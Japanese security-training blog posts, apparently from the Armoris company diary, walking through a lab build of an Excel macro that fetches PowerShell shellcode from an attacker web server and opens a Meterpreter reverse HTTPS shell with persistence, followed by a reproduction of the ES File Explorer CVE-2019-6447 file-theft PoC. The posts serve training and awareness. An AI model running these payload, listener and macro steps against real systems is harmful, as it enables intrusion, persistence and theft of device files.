アップロード時は開発時に気を使う部分だと思いますが、その他にもファイル操作に関連する処理にはできるだけ拡張子チェックなどを行うようにした方が良いと感じました。

私自身も開発時には気を付けていきたいと思います。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 ExcelMacro HTTP Reverse Shell

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

検証の前にちょこっと宣伝

Armoris M氏『Armorisトレーニング、12月は標的型攻撃対応講座目白押しです!』
トレーニング一覧
M氏が気になる方はLet's OSINT☆

Excelのマクロで Reverse Shell!!!

今回のArmoris日記ではExcelファイルを開いてマクロを有効化することでReverse Shellが作成できるか検証します。
一般的なマクロを使用した攻撃ではマルウェアのダウンロードなどが行われます。

HTTP Reverse Shellとは:
Firewallなどで弾かれる可能性を下げるためにhttpを利用してターゲット端末側から接続させる方法でターゲット端末のshellを使うものです。 f:id:Armoris:20201120180138p:plain

検証環境

まずは検証にあたって使用した環境を紹介します。
Excelファイルを開く際は手持ちのOfficeを使用しています。

Name Version
Kali Linux 2020.2
MSEdge on Win10 Stable 1809

各種準備

攻撃者:Kali Linux環境

まずはKali Linuxを使用してPayloadの生成とhttpの待受を行います。

PayloadはKali LinuxのSocial Engineer Toolkitを使用して生成します。

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
                      Version: 8.0.3
                    Codename: 'Maverick'
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]
        Welcome to the Social-Engineer Toolkit (SET).
         The one stop shop for all of your SE needs.

   The Social-Engineer Toolkit is a product of TrustedSec.
                                                                                                                         
           Visit: https://www.trustedsec.com                                                                             
                                                                                                                         
   It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!                                                        
                                                                                                                         
                                                                                                                         
 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) Wireless Access Point Attack Vector
   8) QRCode Generator Attack Vector
   9) Powershell Attack Vectors
  10) Third Party Modules

  99) Return back to the main menu.

set> 9

The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow you to use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell provides a fruitful  landscape for deploying payloads and performing functions that  do not get triggered by preventative technologies.

   1) Powershell Alphanumeric Shellcode Injector
   2) Powershell Reverse Shell
   3) Powershell Bind Shell
   4) Powershell Dump SAM Database

  99) Return to Main Menu

set:powershell>1
Enter the IPAddress or DNS name for the reverse host: 10.0.1.30
set:powershell> Enter the port for the reverse [443]:8080
[*] Prepping the payload for delivery and injecting alphanumeric shellcode...
[*] Generating x86-based powershell injection code...
[*] Reverse_HTTPS takes a few seconds to calculate..One moment..
No encoder specified, outputting raw payload
Payload size: 380 bytes
Final size of c file: 1622 bytes
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass execution restriction policy...
[*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/
set> Do you want to start the listener now [yes/no]: : no

10.0.1.30はKali Linuxipアドレスを入力します。
8080は待ち受ける予定のポートを入力します。

生成されたPayloadを/var/www/html/以下に保存してwebサーバーを起動します。

root@kali-linux:~/.set/reports/powershell# mv x86_powershell_injection.txt /var/www/html/pd.txt
root@kali-linux:~/.set/reports/powershell# service nginx start

Payloadを配置したら先ほど設定した8080ポートで待ち受けます。
conf.rcを作成し、ipアドレスなどを入力してmsfconsoleで起動します。

$ cat conf.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.0.1.30
set LPORT 8080
set ExitOnSession false
exploit -j -z
$ msfconsole -q -r conf.rc
[*] Processing conf.rc for ERB directives.
resource (conf.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (conf.rc)> set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
resource (conf.rc)> set LHOST 10.0.1.30
LHOST => 10.0.1.30
resource (conf.rc)> set LPORT 8080
LPORT => 8080
resource (conf.rc)> set ExitOnSession false
ExitOnSession => false
resource (conf.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://10.0.1.30:8080

msf5 exploit(multi/handler) >

これでKali Linuxでの準備が完了しました。

侵入先:Windows環境

いよいよ侵入先のWindows環境を準備します。
以下のURLからブラウザ検証用の仮想マシンイメージを取得します。私はVirtualBox用のイメージを使用しました。
Microsoft Edge Developer

ダウンロードが完了したらVirtualBoxでインポートを行い起動します。
起動できたらデフォルトパスワードのPassw0rd! でログインして、Windows Securityからリアルタイム保護などを無効にしておきます。
f:id:Armoris:20201119182804p:plain

次に以下のツールを使用してマクロ入りのExcelファイルを作成します。
zipなどでGitHubからダウンロードし、デスクトップなどに展開しておきます。
Generate-Macro

PowerShellを開いてツールがあるフォルダーまで移動し、.ps1ファイルを実行します。
Enter URL of Invoke-Shellcode script (If you use GitHub, use the raw version):には先ほど生成したPayloadのURLを入力し、ipアドレスやポート番号を入力後にファイル名を入力してExcelファイルを生成します。

PS C:\Users\IEUser\Desktop> .\Generate-Macro.ps1
Enter URL of Invoke-Shellcode script (If you use GitHub, use the raw version): http://10.0.1.30/pd.txt
Enter IP Address: 10.0.1.30
Enter Port Number: 8080
Enter the name of the document (Do not include a file extension): file

--------Select Attack---------
1. Meterpreter Shell with Logon Persistence
2. Meterpreter Shell with Powershell Profile Persistence (Requires user to be local admin)
3. Meterpreter Shell with Alternate Data Stream Persistence
4. Meterpreter Shell with Scheduled Task Persistence
------------------------------
Select Attack Number & Press Enter: 1

--------Select Payload---------
1. Meterpreter Reverse HTTPS
2. Meterpreter Reverse HTTP
------------------------------
Select Payload Number & Press Enter: 1
Saved to file C:\Users\IEUser\Desktop\file.xls
Clean-up Script located at C:\Users\IEUser\Desktop\RegistryCleanup.ps1

デスクトップにExcelファイルが生成されていれば成功です。
f:id:Armoris:20201120132339p:plain

準備ができたら生成されたExcelファイルを開いてマクロを有効化してみましょう。
f:id:Armoris:20201120142335p:plain

Windows画面上では何も変化がありませんが、Kali Linuxの方では画像のように侵入に成功しています。
f:id:Armoris:20201120142557p:plain

本当にWindowsに侵入できているかを確認するためにデスクトップにファイルを作成してみます。
まずはshellと入力してWindowsのシェルを利用します。コマンドプロンプトを使ったことがあれば見たことのある表示になっていると思います。
次にcd C:\Users\IEUser\Desktopと入力してデスクトップまで移動し、echo Hack!!! > hack.txtと入力してテキストファイルを作成します。 f:id:Armoris:20201120143540p:plain

Windowsのデスクトップを見ると実際にファルが作成されていることが確認できます。
f:id:Armoris:20201120143843p:plain

以上で今回の検証は終わりです。

おわり

普段業務の中で流れ作業のようにエクセルファイルを開いてマクロの有効化が行われていると思いますが、今回の検証でそのファイルがもし悪意のある第3者によって作られていた場合たったワンクリックで被害を受けてしまうことが分かったのではないかと思います。

また、実際に検証する際は必ず仮想環境などを用意し、そこに対して攻撃コードを実行するようにしてください。

Armoris日記 CVE-2019-6447編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Androidアプリの脆弱性を初めて検証してみる

脆弱性の検証は自己責任で行ってください。また、自身で管理する端末以外ではやらないでください

今週の Armoris日記は Androidアプリの脆弱性検証をやってみたというものです。
今回初めて Androidアプリの脆弱性検証を行うので、わかりやすく試しやすそうな CVE-2019-6447 ES File Explorer について取り上げます。

CVE-2019-6447 は外部から特定のポートに http リクエストを投げることによって Android端末内部の情報を認証なしに取得することができるというものです。
実際に使える PoCがいくつか出回っており、脆弱性のあるバージョンのアプリがインストールされた端末と同一ネットワーク内にいることで攻撃が可能になります。

Description参考:JVN

脆弱性情報:NVD
影響を受けるバージョン:ES File Explorer <= 4.1.9.7.4
CVE番号:CVE-2019-6447

検証環境

今回は検証にあたり手元にあった実機 (Lenovo TB-8) を使用しています。

Name Version
Android 7.0
ES File Explorer 4.1.9.7.4

検証用端末の準備

まずは脆弱性のあるバージョンの apk ファイルを以下からダウンロードします。

apk のダウンロードが完了したら検証端末を USB で接続し、Android File Transfer を使用して Downloadフォルダにコピーします。
f:id:Armoris:20201113160406p:plain

ファイルのコピーが完了したら端末から apk ファイルをタップし、インストールを選択します。
f:id:Armoris:20201113162233j:plain:w400

インストールが完了したらアプリを開いてストレージへのアクセスを許可します。
これでアプリを使う準備が完了しました。
f:id:Armoris:20201113162616j:plain:w400

いよいよ実際に PoC を試してみます

まずは Port 59777 が open になっているか nmap を使用して確認します。
f:id:Armoris:20201113163118p:plain

ポートが open になっていることを確認したので次は画像の一覧を取得してみます。
f:id:Armoris:20201113163449p:plain
実行結果は以下のようになっており、Downloadフォルダの下に4枚の画像があることが確認できました。
このコマンドは Downloadフォルダ以外にも画像があれば全て表示されるようになっています。

user@kali-linux:~/Desktop$ python3 poc.py --cmd listPics --ip 192.168.249.10
[*] Executing command: listPics on 192.168.249.10
[*] Server responded with: 200

{"name":"file1.jpg", "time":"2020/04/22 04:53:47 åå¾", "location":"/storage/emulated/0/Download/file1.jpg", "size":"507.22 KB (519,389 ãã¤ã)", },
{"name":"file2.jpg", "time":"2020/04/22 04:53:59 åå¾", "location":"/storage/emulated/0/Download/file2.jpg", "size":"363.92 KB (372,657 ãã¤ã)", },
{"name":"file3.jpg", "time":"2020/04/22 06:36:37 åå¾", "location":"/storage/emulated/0/Download/file3.jpg", "size":"1.17 MB (1,224,704 ãã¤ã)", },
{"name":"Screenshot.jpg", "time":"2020/11/13 04:00:32 åå¾", "location":"/storage/emulated/0/Download/Screenshot.jpg", "size":"175.26 KB (179,465 ãã¤ã)"}

次は先ほどの一覧の中からScreenshot.jpgというファイルをダウンロードしてみます。
f:id:Armoris:20201113164202p:plain
ダウンロードが完了した Screenshot.jpg を開くと問題なく表示されています。
f:id:Armoris:20201113164439p:plain

ここまでで一切の認証を必要とせず、同一ネットワーク内の Android端末から画像ファイルの取得に成功しました。
他にもインストールされているアプリの一覧取得やデバイス情報の取得が可能なことを確認しました。

おわり

今回検証した脆弱性は少し古いものですが、これで Androidアプリの脆弱性検証を行う際の手順を把握することができたと思っています。
今後はエミュレーター上で今回の脆弱性を再現し、トレーニングなどに再利用しやすくしたり、他の Androidアプリの脆弱性検証も試していきたいと思います。

**今回検証した脆弱性は同一ネットワークに所属しているだけで攻撃が可能なため、自身で管理するネットワーク環境及び端末以外ではやらないでください。